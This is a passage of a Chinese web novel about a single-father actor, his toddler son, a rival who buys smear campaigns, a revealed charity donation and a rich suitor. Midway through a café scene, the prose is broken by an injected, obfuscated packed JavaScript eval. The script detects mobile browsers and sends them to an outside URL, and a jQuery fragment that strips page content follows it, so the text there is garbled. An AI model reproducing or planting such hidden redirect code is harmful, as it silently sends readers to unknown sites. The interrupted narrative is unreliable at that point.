时至今日，A级剧他也拍了两部了，陆续就要播出，眼瞅着就可以接触到更大的IP。 没想到两年前随便拍的B级剧中，他却被个男二压了一头…… 祝涛根本按捺不住脾气地大喊大叫道：“还说我，我不是让你联系那边，剪掉蔚染的高光打戏吗？现在这算什么，他们真想捧配角上桌！？” 经纪人看了他一眼，不禁冷冷一笑：“蔚染那个打戏又不突兀，再说韦玉书话题度这么高，剧组也要赚钱，临时剪掉除非他们傻了！咱们又能给他们什么好处？你还没有那么大的咖位！” 祝涛表情狰狞一瞬，也跟着冷笑：“呵，不管怎么说我也是夜将行的男主，下个月我的A级剧也要开播了，只要那部剧也爆了，回头他们再想来舔我也晚了！” 祝涛和经纪人的手机同时响了，是运营团体发来的消息。 [蔚染口碑再次翻盘了！快看热搜！] ……昨天虽然没有成功把蔚染及韦玉书的人设形象跟“土”联系到一块儿，但至少有人还是对蔚染吃红薯这个话题常挂热搜的事儿，感到反感的。 不能让买来的热搜就这么被废掉，祝涛也揪住了这件事没放，昨晚就联系了几个营销号在词条下面发通稿，继续引导大众认为蔚染故意借着红薯炒作、占用公众资源。 所以蔚染的口碑怎么又翻盘了？ 祝涛和他经纪人齐齐点开微博，热搜前五出现了一个醒目的新词条#蔚染捐款#，微博AI助手总结事情经过： 一个小时前，最近备受关注的、被明星蔚染光顾的红薯摊老板，忽然激动地对消费者透露，原来他曾经已经接受过蔚染的直接金钱救助。 “有人曾经通过国内某权威儿童救助基金会，向他定向捐款过，用来支付他家孩子的手术费用。” 如今红薯摊老板的孩子已经康复出院，出于对恩人的感激，他通过辗转询问捐款人信息的方式，最终确定当初向他捐款的就是明星蔚染！ 红薯摊老板绘声绘色地，将这件事说给所有蔚染的粉丝听。 他没有公开的社交网络账号，不知道怎么对大明星表达感谢好了，就想要借助这些喜欢蔚染的年轻人来帮他感谢蔚染。 很快就有粉丝将这件事传到了网上。 还有人热情地帮助老板拍摄了一个说明情况和感谢的视频，并且帮老板注册了一个短视频平台的账号、以及将视频发出。 红薯摊老板没什么大文化，用不了什么华丽的辞藻，但他已经明白蔚染在节目上忽然去买自己的红薯，一定也是认出他了，想再帮他一把。 于是本来还有些害羞的中年男人越说越激动，甚至几度哽咽，最后更是直接落下眼泪。 没有技巧只有真诚。 此视频一经发出，就引来了大批网友的关注，现在点赞量已经有三万了，转发量近一万。 而这个数字还只是个开始。 十分钟前，儿童救助基金会也主动晒出了今年收到的各类捐款。 尽管捐赠者大部分都是匿名状态，但通过对比老板所说的捐赠金额和时间，网友还是很快锁定了一个捐款人为“健康无忧”的人。 【对比捐款账号的前四和后四位，的确跟蔚染六年多以前晒出的给灾区捐款的账户一致，百分百确定他就是蔚染。】 【……大神，我给你跪了，这是怎么扒出来的？染染的微博我都翻遍了，只有几条近期的宣传，没有五年前的消息啊！】 【之前染染被网曝全删了吧，不过我还意外留着那张截图，那时候是他工作室发的[图片]】 【现在蔚染换公司了吧，呜呜呜咋变这么低调了，要不是这事被红薯老板查出来，我们大家都还不知道！】 【……六年前，染染才22岁，呜呜好想看看那个我染。】 【妈呀，染染小可爱太善良了！！他六年前就捐款100w？？那会儿他才出道不久吧？！】 【@蔚染健康无忧：看我最新起的名字！这就是我永久昵称了！】 【@染染健康无忧：本来也想祝蔚染健康无忧的，结果已经被注册了……幸好我手快】 【@韦玉书健康无忧：哈哈撞名了姐妹！】 【虽然但是，染你省着点捐，你是要养娃的人……】 【我染对自己也好一点吧，听说染染一年四季只有两套私服，代拍都看不下去了……】 【有没有品牌方爸爸给染染寄点衣服啊！】 【红薯摊老板的视频里说，基金会的人告诉他染染是给孩子看病的时候碰巧遇见红薯摊老板，知道他家孩子急需钱看病的，所以染染的崽崽病了？不要啊！！！】 【@染染和宝宝都健健康康长命百岁：。6id】 . 蔚染忽然又蹦到了各大平台的热搜第一。 这本来是好事，但是季养运还是头疼了：“你给红薯摊老板捐过款？你们之前就见过？这事你怎么不提前跟我说？？？” 如果蔚染提前跟他说，他昨天哪儿还需要找那么多宝宝录吃红薯的视频扭转印象，直接把这事爆出来，绝对逆转口碑！ 此时蔚染还在剧组单独为他提供的休息室里看剧本。 说是休息室，也只是化妆间尽头隔出来的一个小区域，统共只有三平方米，能放一张桌子和一个椅子。 现在季养运走进来，三平米的区域显得更局促了。 蔚染还举着根红色的记号笔，呆呆看向忽然闯进来的季养运，表情十分状况外。 “……你根本不知道发生了什么对不对？” 季养运觉得自己就是一拳打在棉花上。 蔚染望了他一眼，表情全是“你都在说啥”的茫然。 “算了。……也不是啥大事。” 季养运有气无力：“等你有空自己上网看看吧。” “……噢。” 听他这么说，蔚染就知道是无关痛痒的小状况了，于是继续转头回去看剧本。 他在已经快被画烂的剧本上又填了一笔。 他用的记号笔起初是浅黄色的，后来换成覆盖力更强一点的绿色，用来突出细节。 现在是第三遍也是最后一遍过剧本，就换上了更为醒目的红色。 蔚染工作时一向这么认真。 搞得季养运都觉得自己现在是胡搅蛮缠，打扰对方工作了。 “不过正常来说，慈善机构是不能透露捐款人细节的，红薯摊老板是怎么查到这个的？爆出来的时机也挺巧妙啊……难道只是巧合？”季养运摸着下巴兀自分析。 但他眼见着蔚染已经重新开始默背台词了，乖学生一样，便没有去打扰。 . 傍晚，夕阳将落，吾爱红薯摊周围仍旧人山人海。 五百米以外的咖啡厅内同样座无虚席，几乎一半客人都自带了烤红薯吃，每人再配一杯牛奶或咖啡，直接代餐。 人们热切地讨论着今天亲自见证的那件温暖人心的捐款事件。 窗边，穿着西装、身形高大的显得尤为醒目。 除了其过分正式的穿着与步行街和今天来此的绝大多数人都不太相容以外，还因为他旁边的转椅上、还坐着一个五短身材的人类幼崽。 “坐在这里可以吗？这里没有儿童座椅。”林洛宸说。 “嘟嘟，可以的哦！” 坐在大人座椅上完全可以把小腿伸直，嘟嘟对这个座位还挺满意。 林洛宸在杜陵的咖啡馆里见过嘟嘟坐这种椅子，那时候嘟嘟一只崽崽就趴在料理台上面安静地整理着豆子，坐姿可乖。 于是他并不担心这种宝宝会因为顽皮把自己掉下来。 更何况负责带嘟嘟的阿姨就坐在嘟嘟的另一边，如今正虎视眈眈地对着自己。 林洛宸并不在意。 他手机点单点了两杯热牛奶，今天S市大降温，外面太冷，林洛宸将嘟嘟抱上座椅的时候顺便探了一把，小孩子的小手掌都被冻凉了。 这么冷的天，蔚染就不应该再让他家宝宝出来排队买红薯了。 林洛宸下意识这样想。毕竟今天人更多了，他们排了很久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366174|183680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的队，差不多一个小时。 但转念又想到这些与自己无关。 咖啡馆人很多，所幸热牛奶很容易制作，是最快出单的一批。 两杯温牛奶被端上桌，林洛宸将它们摆在嘟嘟和阿姨面前，同时收到了幼崽疑惑的目光：“叔叔，你不喝咩？” “叔叔不喝。”他的确忘了给自己点单。他平时只喝白开水。 嘟嘟说：“叔叔你还是喝点什么吧。” 林洛宸心上一动，声音骤然温和：“谢谢嘟嘟，叔叔不渴。” “可是。”嘟嘟顶着肉乎乎的小腮帮，表情可认真： “可素爸爸说过，不点单不好占人家位置的。” 林洛宸：“……” 嘟嘟已经举起自己的小手表：“叔叔喝什么？嘟嘟请你呦！” “……叔叔自己来。” 林洛宸：“……谢谢嘟嘟。” 说着，很快也给自己扫了杯牛奶。 嘟嘟已经被王奶奶喂了口温牛奶，幼崽嘴上登时多了一圈儿奶渍，又被王奶奶擦掉，林洛宸跟小奶膘鼓鼓的嘟嘟对视。 “所以你想跟我说什么？” 他问蔚嘟嘟。 经过两天一起排队买红薯的相处，林洛宸已经知道嘟嘟户口本上的名字，其实还是跟了蔚染的姓，叫蔚泽。 在幼儿园里别人叫嘟嘟白泽，大概是蔚染拜托老师临时给改的。 其他的，应该是孩子太小，还分不清大名和小名，嘟嘟才总是介绍自己为白嘟嘟。 嘟嘟依然嗓音脆脆：“没什么，只是想谢谢叔叔，排队的时候抱嘟嘟呦！” 这两天排队买红薯的人更多了，红薯摊老板根本烤不过来，排队时间变得更久。 一起排队的时候林洛宸看嘟嘟太小，担心他立不住，就主动抱着嘟嘟排了一阵。 “没什么。”林洛宸随意说，并不以为这有什么。 蔚染的人都在附近守着嘟嘟，如果嘟嘟真累了完全可以回车上休息，所以他也并不算做了什么。 “可是叔叔好腻害，你可以一直抱嘟嘟！抱一个小时！”嘟嘟瞪大双眼，黑葡萄似的眼睛里隐隐带着点赞许和崇拜。 林洛宸一耷眼皮，不动声色：“你干爹不可以吗？” “哪个干爹，杜爸爸咩？他不可以哒。”嘟嘟晃晃小手，语气十分客观： “杜爸爸没什么力气的。” “哦？……噢——” 林洛宸拖着嗓音应了一声，下意识地便想问：嘟嘟还有很多干爹？ 但幼崽比他活泼，语速也比他快，蔚嘟嘟已经说：“对了叔叔，嘟嘟还有一件事情，呦~” 嘟嘟才又被奶奶喂了口牛奶，就着店家赠送的小饼干一同下腹。 焦糖味的饼干口感酥脆，带着一点点姜黄粉和肉桂的香，十分符合嘟嘟的口味。 可惜美味小饼干一共就只有两块，嘟嘟便只吃了半块，另外半块给了王奶奶。 至于剩下的一块，胖乎乎的小肉手直接伸到对面，推给对面的叔叔。 嘟嘟眨着眼睛说：“那个，我爸爸捐款的事情，是秘、蜜！~” 昨天嘟嘟就跟叔叔一起排队买红薯了，今天又遇到，有了足足两天的交情，对于嘟嘟来说，叔叔就已经是他的小伙伴了！ 叔叔话不多，但嘟嘟却是个小话痨，所以昨天、当叔叔提起爸爸跟红薯摊之间的渊源时，嘟嘟就忘了答应过爸爸不说的事情，把什么都倒出去了。 不过爸爸不叫嘟嘟往外说，是不想被红薯摊叔叔知道这件事，担心红薯叔叔会不自在。 所以嘟嘟没有跟红薯叔叔说，只是跟长腿叔叔了，应该不算违背了爸爸的嘱咐？ 但不管怎么说，嘟嘟还是决定贿赂一下长腿叔叔——以一块小饼干作为封口费！ 长腿叔叔果然很上道。 “不是嘟嘟告诉我。是我主动问的你。”林洛宸说。 说完他瞥了眼幼崽吃得香甜的小饼干，又将它推回去还给嘟嘟：“不过这的确是我们之间的秘密。嘟嘟也不需要再跟人提起了，好吗？” “唔？”嘟嘟攥回那块小饼干，看在叔叔把饼干又让给嘟嘟的份上，他答应叔叔：“好的呦~” “嗯。”林洛宸说着，与幼崽软嘟嘟的小手对了个拳头。 . 到了晚上，蔚染终于有空了，才想起要关注下季养运提到的网上的事。 他那捐款的热搜还稳稳地挂在前排。 于是蔚染也顺理成章知道了，红薯摊老板正在全网感激他。 蔚染捐款的时候真没多想，这会儿自然也不会以此炒作。得知老板家的孩子已经痊愈，他倒是很欣慰地笑了。 不过，蔚染也产生了同样的疑惑——慈善机构，是不能向被捐款人透露匿名捐款者信息的呀？ 16、第十六章 第16章 晚上, 蔚染难得下工早，九点多钟就到家了。 嘟嘟还没睡，正晃着小腿趴在地毯上涂画本。 听见爸爸开门的声音, 蔚嘟嘟鼓涌着飞速爬起，蹬蹬蹬几下便蹿到门口，正好扑在蔚染怀里。 蔚染怕自己身上的寒气激到嘟嘟，赶紧把幼崽抓住举起举高高, 两条手臂抻直地尽量远离自己。 于是一大一小两父崽隔空对视。 蔚染直接被蔚嘟嘟脸上、一条蓝色水彩笔痕迹逗笑。 “宝宝, 你是不是该睡觉了？”蔚染笑得很温柔，却也难掩心疼的痕迹。 他总是早出晚归, 嘟嘟想见他一面不容易，才经常这么熬着。 “谁家四岁的宝宝, 九点钟还不睡呀？” “哒。”嘟嘟不好意思地在空中拢了下小手, 然后又想去够爸爸的脖颈, “爸爸, 爸爸, 嘟嘟马上就睡啦！” 蔚嘟嘟说着, 竟然真的直接闭上眼睛，假装自己就这么睡去了。 蔚染眼底的笑意和苦涩更浓郁。 正好王淑琴从厨房出来，蔚染便把手里的幼崽交给他王奶奶，随后自己脱去了外套。 还没正式入冬，蔚染身上的棉服就不离身了，但不脱棉服他也瘦成了薄纸片。 王淑琴觉得这对父子真是，谁也别说谁了，嘟嘟是不睡觉，蔚染是不好好照顾自己，都难搞。 “王阿姨, 您去睡吧，今天我带嘟嘟睡。” 换好衣服，蔚染再度接过嘟嘟。 蔚染最近涨粉涨得飞起，被安利的次数自然也多。稍微关注娱乐圈的人，多多少少都会刷到一些他的神颜视频，无数人嗷嗷叫着求工作室多发图，说他们想多看看蔚染的脸。 可眼下，蔚嘟嘟就抱着他爸爸的脖子，大大方方地在蔚染脸上吧唧了一下，也忘了装睡了，也开心地跟王奶奶说：“今晚，爸爸带嘟嘟睡哦！” 嘟嘟最喜欢爸爸了！ 王阿姨：“那好吧，我刚热好了牛奶，正好阿染你也喝一点。” “哎。”蔚染应了声，就抱着嘟嘟进浴室去洗脸。 小嘟嘟已经洗过澡了，头发干了后，依旧是标准的小西瓜头。 被爸爸抱着坐在浴缸边的小凳子，就神采奕奕地看着蔚染放水、又接过王奶奶拿过来的牛奶。 温牛奶入手的一刻，嘟嘟忽然想起傍晚叔叔请他和王奶奶喝的那杯牛奶。 王淑琴也没忘了这事儿，她刚想跟蔚染说这两天总有个奇怪的人接近嘟嘟，就听蔚嘟嘟对他爸爸说：“唔对了，爸爸，长腿叔叔知道你给红薯摊叔叔捐款的事情啦。” 他是跟长腿叔叔说好，不跟旁人再提这事。 可爸爸是爸爸，不是旁人呀。 嘟嘟跟爸爸，一向是无话不谈的！ 即使是嘟嘟忘记惹、不小心对长腿叔叔泄露了他和爸爸间的小秘密，嘟嘟也会诚实地告诉爸爸，是嘟嘟没有做对。 蔚染最了解自家崽儿的心性，当即对嘟嘟勇于承担和肯跟自己无话不谈给予了肯定。 这会儿蔚染已经很累很困了，大脑迟钝plus，与蔚嘟嘟约定不说捐款的事，也只是不想红薯摊老板尴尬，但的确不是什么大事，至少不是糟糕到必须要他费心去处理的坏事。 于是不仅没有责怪嘟嘟，蔚染还对宝宝的诚实给予了赞扬，并顺便问：“哦，那长腿叔叔是哪位？” “长腿叔叔就四……”嘟嘟略微有些停顿，嘬了口热牛奶才想到该怎么形容：“……腿很长的叔叔。” “他跟嘟嘟一起排队买红薯。” “还帮忙抱嘟嘟……抱了好久好久呢！爸爸，酥酥臂力惊银！” 蔚染：“哦……啊？？” 听到一起排队买红薯的时候蔚染都还算淡定，嘟嘟小朋友不仅长得甜，还健谈，因此朋友多，跟蔚染小时候很像。 因此嘟嘟口中经常会出现这个叔叔那个姨姨……甚至这个干爹那个干妈，有些连蔚染都不认识，纯纯是嘟嘟自己认的，时间久了，嘟嘟口中出现任何人蔚染都不再会大惊小怪。 但“长腿叔叔”还抱了嘟嘟……蔚染第一时间开始担心崽儿的安全。 他虽然经常两耳不闻窗外事，生活常识也在日渐退却、基本快跟不上时代潮流，但还是知道有些拐小孩拍花子的，会先跟幼崽和监护人搞好关系，然后趁其不备…… 蔚染立刻回身看向门口的王阿姨。 王淑琴见嘟嘟自己在跟他爸爸说，便才没有插话，毕竟小孩子的表达力需要锻炼，蔚染平时跟嘟嘟说话都不会随便打断他。 这会儿面对蔚染一刹的惊慌，她还安抚地点点头，示意蔚染引导嘟嘟自己交代。 蔚染便问：“宝宝……怎么能让陌生叔叔随便抱你呢！？” 蔚染还是难掩惊慌。 “哦呀。”蔚嘟嘟连忙摆了摆小胖手，软糯糯但又清脆的小声音响起：“可是长腿叔叔，不是陌生叔叔呀！” 嘟嘟又掰着小手指，继续说：“长腿叔叔就是上次请咱们吃饭的叔叔，爸爸没有跟他打架的那个啦。” 蔚染：……？！！！. 《夜将行》的相关词条已经连续两周霸榜热搜前五，而随着这部剧最后几集的播出，整部剧的热度再度被推到顶峰。 倒数第二集，蔚染饰演的韦玉书最终还是为了天下苍生，选择自毁内丹，自戕身亡。 天生魔脉、却被正道仙人养大感化的韦玉书，有着自己的执念和温柔。 电视剧里，韦玉书长剑覆雪，黑发拥身，提步上楼时衣披凛冽，身形悍利薄纤。 他目光始终坚韧又温和，包罗苍生。 他走在万里通天的大道台阶上，一人一剑，一路独行于风雪之中，直行至鲜血染遍白衣、苍白唇边也多了一抹厚重血色，行至再也走不动为止。 终于，在再度颔首咳了口血后，以长剑为支撑的韦玉书回头望了一眼这自己曾挚爱和曾守护过的山河，终于力竭阖紧双目，于高山之巅一跃而下，将自己连同雪剑一同淹没进奔腾的河流当中。 湛湛长空，乱云飞度，吹尽繁红无数。 韦玉书的一生结束了。 韦粉和剧粉都哭惨了。 由于蔚染演得太好太真实，蔚染这个名字也直接登顶了热搜第一，连最后一集播出后、《夜将行》收官的热度也比不上蔚染身上的流量。 不仅热度比不上，《夜将行》的口碑也差点逆转，理由是观众觉得男主最后竟然放任韦玉书去死，这多少有点冷血和OOC。 【韦玉书可以死，我从一开始就猜到他会死，但是我没想到他是自杀！男主你真不挽救一下就看着他去死？前面三十集你的热血和公正呢？？那可是你最爱的大师兄啊！】 【真的，要不是蔚染演得好，这段韦玉书真的一点高光都没有了】 【韦玉书老工具人了。】 【我宣布蒲苇CP就此决裂，濮阳星渊最后真的不做人】 【好恨嗑过他俩的我，这不是BE，这是被喂屎！】 【本来就是有女主的剧，谁叫你们瞎嗑的，活该】 【嗑不嗑CP先不说，前面濮阳一路救苦救难，到了大师兄这里就果断选择牺牲大师兄，忽然这么圣母就是OOC了啊！】 【有一说一韦玉书的演员演得真好，他最后回望的那眼明明没台词没特别的配乐，也没插入回忆什么的，却硬生生给我看哭了】 【别说了，孩子已经被刀傻了】 【不到两分钟，我看了二十遍了，心疼大师兄啊】 【啊啊啊太美了！他太美了！明明是战损我竟然看石更了！】 【其实可以理解，拍这部戏的时候蔚染又不红，年纪也大，资源跟祝涛更比不了。估计剧组就是让他来演工具人的。只是蔚染演得太好了，观众从一开始就更代入韦玉书，我估计剧组都没想到会这样】 【是的，大师兄的人设虽然好，但其实挺套路的，十个仙侠剧八个这样的大师兄，是染染把他演活了，我也觉得剧组一开始就没想过要给韦玉书高光。】 【想多了，内部人士爆料，真相是祝涛拍这部戏的时候根本没怎么投入，要么轧戏，要么是颐指气使要导演改戏，总之是他自己怎么简单人设怎么高光伟就怎么来。他才是没想到蔚染的韦玉书会比他更火的那个】 【？？？】 线上讨伐男主以及粉韦玉书的观众还是骂声一片，直接盖过了最后一集濮阳星渊的高光。 这两天扒祝涛的专业人士也越来越多。 所幸的是全剧故事线较完整，哪怕韦玉书最后死得憋屈，但前面也铺垫了他的结局，大部分观众还是可以接受的。 再加上资本的一些操作，《夜将行》最终以9.0的高分收官。 收官这天，蔚染还在新剧的剧组里赶着拍戏。 晚间休息一个小时的空档，他先是给嘟嘟打了电话询问宝宝晚饭的情况，又陪着嘟嘟看了半集动画片。 韦玉书下线后，父崽两个都有点伤感。 幸亏嘟嘟知道那是假的，爸爸没有死，不然这崽昨天就该睡不着觉了。 不过没有了爸爸的剧，嘟嘟就不再看了，他没看夜将行的最后一集，而是看起了同幼儿园小朋友都在看的小马宝莉……哦，除了路诸。路诸告诉嘟嘟，他从来不看电视。 跟嘟嘟的视频挂断后，蔚染把更新的最后一集也给看了。 连播的时候他一路都有在追，都是抽零碎时间看的。制片方已经通知他，过几天会举办夜将行的线下见面会。 线下见面会在剧爆了的中期就开始筹备了，如今已经筹备得差不多，只是制作方觉得如果还能再拉几个商务就更好了。 “拉来的商务主创人员也会有分成，而且这次很多人都是奔着韦玉书来的，你也想给你粉丝更好的体验吧？商业价值越高，场地空间越大，环境越好。” 季养运跟蔚染说。 蔚染出来工作主要还是为了赚钱，养崽开销比想象中还大，蔚染跟上家经纪公司解约后经济就非常拮据了，说不想多赚是假的。 但季养运知道蔚染也同样极为看重粉丝体验，所以专挑这两个好处来诱惑蔚染，目的再明确不过—— “所以，明天的商务晚宴你要加油。” 蔚染：“……” 商务晚宴是平台联合制片方共同举办，因为夜将行暴涨的口碑，着实邀请来了一些有意愿合作的其他行业顶尖大佬。 如果洽谈顺利的话，合作还将不仅限于夜将行。 季养运：“我已经跟陈导沟通过，她那边有意重新拍一部新的古装剧，剧本完成度已经很高了，这次洽谈顺利的话，最少也能组成个A级的班组。她的实力和水平你是了解的，这次她有意找你做男一号。” 陈导陈格就是夜将行的总导演，她虽然年轻在业内资历浅，但能带着一部班底一言难尽的小网剧杀出到这般天地，其实力却是有目共睹。 蔚染最初就是被她挖掘的，合作期间更是非常愉快。 说到这里蔚染更心动了，只是：“陈导真找我演男一号？” 蔚染惯常茫然的脸上，此刻满是受宠若惊。 季养运点点头，表情讽刺地一笑：“不然总不会还找祝涛吧。” “……” 季养运：“陈导都跟我抱怨了，那会儿她是真新人资历浅，制片人硬把祝涛塞给她，她也只能尽量压制。当初祝涛拍戏的时候旷工多少次你又不是不知道，有多少场大夜戏都是他去参加综艺，你跟替身们替他顶上的。” 这个蔚染还记得。 如果不是祝涛轧戏，他也没那么多露脸的机会。 韦玉书虽然是男二，但一部四十集的大型古装剧，设定颇多，起初作为工具人的男二真实没有太多戏份。 是有几次祝涛迟到很久或直接撂挑子跑路了，导演一气之下才给蔚染加了戏，没想到越拍越有感觉，最后反而把韦玉书完整的人物脉络都给拍出来了。 而对于陈格来说，祝涛最让她烦的还不是经常忽然请假，他最大的问题是他总想随便改戏。 为了平衡祝涛改的戏份，导演和编剧也经常熬大夜改剧本，连同蔚染也经常跟着一起捋剧情，搞得杀青后每个人看上去都老了好几岁。 季养运：“结尾这里陈导自己也不满意，但是有啥办法呢，唉不说了，总归这次剧爆了，评分稳了，你俩都可以挺起腰杆了，好好珍惜这次机会，我说的意思你懂吧？” 蔚染点点头。 季养运就放心了。 蔚染虽然看似有些社恐，但那只针对于粉丝和网友的评价，面对投资人倒从来没见他恐慌过。 季养运觉得这应该归咎于蔚染的自身实力和从小的家庭情况。 实力上，蔚染没到二十岁就在金色大厅、跟学校乐队们一起演奏过，还是作为首席小提琴手，什么场面没见过。 即使后来作为歌手出道，他也是那几年唯一一个杀出重围、在圈里凭实力引起过轰动的。 家庭方面嘛，季养运多少也了解一些，蔚染生活在一个高薪中产家庭，尽管是被领养的，但养母一家据说都待他不错，要不然也不会早早就送他出国到最好的音乐学院读书。 所以不得不说，不论是学历还是见闻方面，蔚染都比娱乐圈的普遍明星高出很大一截。 实力和素养并存，还长得那么标致，他能杀出重围，没人觉得意外。 只是蔚染少了点运气。 他最初签的那家经纪公司太短视太没格局，只想把蔚染当流量培养，这的确耽误了蔚染的发展。 再就是因为孩子的事，蔚染也耽误了一年…… 不过既然如今都已经转型成功了，那这些事就不用再提了。 “总之你好好表现，到时候别太紧张。” 隔天下午六点，商务晚宴酒店外的停车场上，祝涛的经纪人也跟他这么说。 祝涛听后一笑，蛮不在乎地点了点头，胸有成竹。 换做之前，他还真挺紧张。但昨晚他已经跟一位有过合作的商业大佬谈妥了，对方很认可他，表示会投资他的下一部戏，并且今天还会介绍一位更具实力的投资人给他。 娱乐圈嘛，最看重的就是人脉了。一部剧出来，观众认不认可又能怎么样呢，投资方认可就行了。 再说夜将行怎么说也是9.0的高分神作，他到底是男一。 就算网上现在不是很太平，可网友又有什么记忆？ 在资本那儿，他9.0的成绩和数据却是实打实的。 总之跟商业大佬“彻夜畅谈”完后，祝涛就把心都放回了肚子里。 他把今天的工作全推了，安安稳稳地补了一天觉，下午三点钟起床叫了化妆师造型师去他家里给他做造型，如今他这样体面又帅气地出现在会场上，就不信还有谁能夺去他的高光。 祝涛进入会场后，第一眼就看见了蔚染。 “蔚染来的还挺早，真殷勤。”祝涛跟经纪人小声说，语气略带讽刺，可等看清楚蔚染的那张脸后，他又有点吃惊： “他竟然一点儿妆都没化？？” 经纪人的眼镜片光芒一闪，跟着评价道：“他挺白的，都二十八了，脸上一点毛孔都看不见，你看看人家是怎么保养的？你才二十五，黑眼圈就这么重……” “李总，您来啦！”祝涛直接离开自己的经纪人，走向一位穿西装的男人。 李总就是他昨天找好的商业大佬。 祝涛本就不愿听经纪人叨叨，现在碰上了资本爸爸，当然殷勤备至地凑了过去。 恰好，陈格也在介绍蔚染给一位地产商朋友认识，地产商跟李总也有一些业务往来，几方都认识，便凑在一起聊了起来。 陈格是个性格直爽的人，拉关系拉人脉的时候都是有话直说，她直接表达了要继续拍古装戏的想法，并提前表明有意请蔚染做男一号。目前双方正在洽谈。 陈格这么做主要是知道李总跟祝涛的关系，而如果再拉投资的话，她绝对不要跟祝涛这样的人再合作，提前说出来也省得对方再动心思，大不了生意就不做。 李总也是投资过不少娱乐产业的老场面人，自然懂得陈格的意思，他听她这样说便笑了笑，又顺便看了蔚染好几眼，直夸陈导有眼光。 旁边的祝涛都快被气炸肺了。 他知道李总看蔚染那几眼的含义，但混圈的人嘛，还能指望谁长情？当初一起拍戏时，他就发现蔚染比他想象中要更能吸引一些人的眼球。 比起这个，他更气陈格这个年轻的新导演竟然敢当面跟自己撕破脸！ 晚宴正式开始后不久。 眼见陈格去与别人交流，蔚染落了单，祝涛忍了忍，还是端着酒杯来到蔚染边儿上，闲聊似的开口： “蔚染，不知道你知不知道，最近有位刚回国发展的贵人，准备投资十三亿拍一部电影和一部电视剧？” 蔚染闻声看了祝涛一眼。 “那可是十三亿的现金流啊！我做梦也想象不到那是什么概念。”祝涛语带向往，脸上却露出已经探囊取物的神色。 有人要出十三亿大肆投拍国内的影视作品，这件事很快将不再是秘密，他说了也没什么。率先得知了这个信息的他就已经赢了大半了。 尽管目前还没有太多关于那位的消息，只知道是个最近刚回国的海归，有意进军娱乐圈，其余的祝涛了解的也不多。 但那边放出风，要亲自挑选男演员……为什么只是男演员，不是女演员，这是什么意思几乎不言而喻，懂的都懂。 祝涛对自己的外貌和公关技巧都很有信心，且李总已经承诺会将自己介绍给对方，并给自己透露过那位今晚也可能会来的消息…… 如果那位今晚还会到场的话，说不定今天就可以有眉目结果。 这让祝涛怎么能忍住不兴奋、不去炫耀！…… 尤其是在人气就快超过他的蔚染面前！ 可惜蔚染依旧没什么反应。 十三亿的事蔚染还真听说过——圈子就这么大，消息传得比祝涛想象的可要快得多。好像就是今天的早些时候，模模糊糊的，他听季养运提了一嘴。 不过这种史诗级别的投资计划，即便是真的，也不可能跟他有关系。 季养运也是这么个意思，两人一道只当像听个乐子，蔚染更是很快就将事情抛诸脑后了，对于他来说，能争取到跟陈导的第二次合作机会就已经足够。 眼下又听祝涛绘声绘色喋喋不休地谈了那十三亿足足两分钟，蔚染倒是难得升起一丝好奇——对方的语气过于信誓旦旦，好像十三个亿已经是他的囊中之物。 可依蔚染对这个圈子的了解，那么大的项目，想来不是国际超一线的前辈都不能染指，祝涛应当也没那个资格。 蔚染：“听你的意思，十三亿已经找上你了？合同都签好了？” “那……”那倒没有。 祝涛一噎，不由看向身边完全素颜的蔚染，不确定蔚染是单纯在询问自己，还是在讽刺自己。 蔚染又打了个哈欠。 他倒真不是讽刺，蔚染的攻击性一般只与他家崽崽相系，只要对方不拿嘟嘟做文章，蔚染便不会费心关注对方的言行。 他这么问，单纯是好奇祝涛究竟有没有签上合同。 蔚染本就是有事会直说的性格。 只不过这些年经历了太多，一方面是他活泼的天性被压抑了，真不敢随便开口了；第二方面也是真没精力去关注外界了，压根就没话想说，给人感觉才是他话少，几乎不说。 可今天这个场合就是来拉赞助的，他自然关注到了十三亿，而他被压抑的天性，也偶尔会在他过于疲倦时冒出来。因为好奇，所以问了，给人感觉迷迷糊糊的，结合他过分清秀的模样，便显得单纯无害，一般也不会让人产生什么应激反应。 但祝涛对蔚染的意见本身已经很大，蔚染说什么都是别有用心。 如今看他这幅样子，联想到网上说他迷死人的迷糊人设，不禁又心头火起。 ——蔚染不是嘲笑他还没拿到项目吗？ 那他就更想“不经意间”透露点什么，继续显摆。 他也学着蔚染的模样，假装毫无心计地说：“合同倒是还没有，我连大佬本人还没见过呢，不过说不定今晚就见到了，蔚染，等我拿下S+大男主的戏，你还来演男二呗？” 说着话，余光一扫，祝涛就看见李总正走在一个高大的男人边儿上，模样难得变得殷勤。 祝涛从没见过李总这样，登时便上了心。 只见那男人很年轻，看着至少比李总要年轻个十岁，一身看不太出名堂的高定，身影高大落拓，眉目英挺。 祝涛两眼瞬间睁大，又不确定对方究竟是不是那个十三亿…… 说不敢相信这位就是，是因为对方实在过于出色的外形和相貌…… 长这样的人，还需要带着那么多的钱、来潜规则娱乐圈里的男演员吗？ 他要什么样的人没有？！！ 可李总狗腿的模样显然更有参考价值——这场子里恐怕也只有“十三亿”的大佬值得李总如此点头哈腰了。 感觉不会错，祝涛认定对方便是那位十三亿。 恰巧李总已经将人引了过来，祝涛哪敢耽搁，连忙迎了上去，李总见他识相，便满意地说：“林总，我来给您介绍……” “蔚染。” 李总殷勤介绍的声音被打断，“……林总？” 祝涛更是愣在原地：“？” 身材高大的年轻男人，不仅目光不曾在他身上有过半分停留，甚至还挤开了他，嗓音低沉，透着上位者的疏离：“借过。” 祝涛：“……” 祝涛下意识向旁侧退让了几步。 随后，他眼睁睁地看着对方越过自己、去到自己几步之后的蔚染面前，声音终于不是那么冷淡地、甚至还主动打上了招呼： “蔚染……阿染，又见面了。”—— 作者有话说：林总：或许，你听说过十三亿吗？ 所以这是个林十三亿带着老婆本勇闯娱乐圈的故事（。[奶茶][奶茶] 本章随机88只小红包，然后最近两天都是0点更新[猫头]虽然这章没有一万字，但是字数我会慢慢补回来，鞠躬[抱抱] 17、第十七章 第17章 林总热络的态度和用词, 